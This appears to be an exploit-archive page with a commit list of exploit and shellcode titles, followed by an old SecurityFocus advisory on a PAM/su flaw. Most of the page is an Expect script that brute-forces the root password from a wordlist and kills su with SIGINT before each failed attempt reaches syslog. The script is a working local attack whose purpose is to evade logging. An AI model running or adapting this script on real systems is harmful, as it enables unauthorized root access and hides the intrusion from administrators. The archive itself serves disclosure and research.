880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
74 lines
No EOL
2.5 KiB
Text
74 lines
No EOL
2.5 KiB
Text
source: https://www.securityfocus.com/bid/320/info
|
|
|
|
A vulnerability in PAM allows local malicious users to brute force passwords via the su command without any logging of their activity.
|
|
|
|
su is a command that allows users to change identifies by supplying a password. If the password is correct su immediately executes a new shell with the identity of the nw user, otherwise it sleeps for a second and then logs an authentication failure to syslog.
|
|
|
|
Since su sleeps before logging the failure and does not trap SIGINT a user can try a password and if su does not immediately give him a new shell and before one second hits control-c his attempt will not be logged. He can automate the process to brute force passwords.
|
|
|
|
Its been tested using sh-utils-1.16-14 and pam-0.64-3.
|
|
|
|
#!/usr/local/bin/expect --
|
|
|
|
# A quick little sploit for a quick round of beers :) mudge@L0pht.com
|
|
|
|
#
|
|
# This was something that had been floating around for some time.
|
|
# It might have been bitwrior that pointed out some of the oddities
|
|
# but I don't remember.
|
|
#
|
|
# It was mentioned to Casper Dik at some point and it was fixed in
|
|
# the next rev of Solaris (don't remember if the fix took place in
|
|
# 2.5.1 or 2.6 - I know it is in 2.6 at least).
|
|
#
|
|
# What happened was that the Solaris 2.5 and below systems
|
|
# had /bin/su written in the following fashion :
|
|
#
|
|
# attempt to SU
|
|
# |
|
|
# succesfull
|
|
# / \
|
|
# Y N
|
|
# | |
|
|
# exec cmd sleep
|
|
# |
|
|
# syslog
|
|
# |
|
|
# exit
|
|
#
|
|
# There were a few problems here - not the least of which was that they
|
|
# did not bother to trap signals. Thus, if you noticed su taking a while
|
|
# you most likely entered an incorrect password and were in the
|
|
# sleep phase.
|
|
#
|
|
# Sending a SIGINT by hitting ctrl-c would kill the process
|
|
# before the syslog of the invalid attempt occured.
|
|
#
|
|
# In current versions of /bin/su they DO trap signals.
|
|
#
|
|
# It should be noted that this is a fairly common coding problem that
|
|
# people will find in a lot of "security related" programs.
|
|
#
|
|
# .mudge
|
|
|
|
|
|
if { ($argc < 1) || ($argc > 1) } {
|
|
puts "correct usage is : $argv0 pwfile"
|
|
exit
|
|
}
|
|
|
|
set pwfile [open $argv "r"]
|
|
|
|
log_user 0
|
|
foreach line [split [read $pwfile] "\n"] {
|
|
spawn su root
|
|
expect "Password:"
|
|
send "$line\n"
|
|
# you might need to tweak this but it should be ok
|
|
set timeout 2
|
|
expect {
|
|
"#" { puts "root password is $line\n" ; exit }
|
|
}
|
|
set id [ exp_pid ]
|
|
exec kill -INT $id
|
|
} |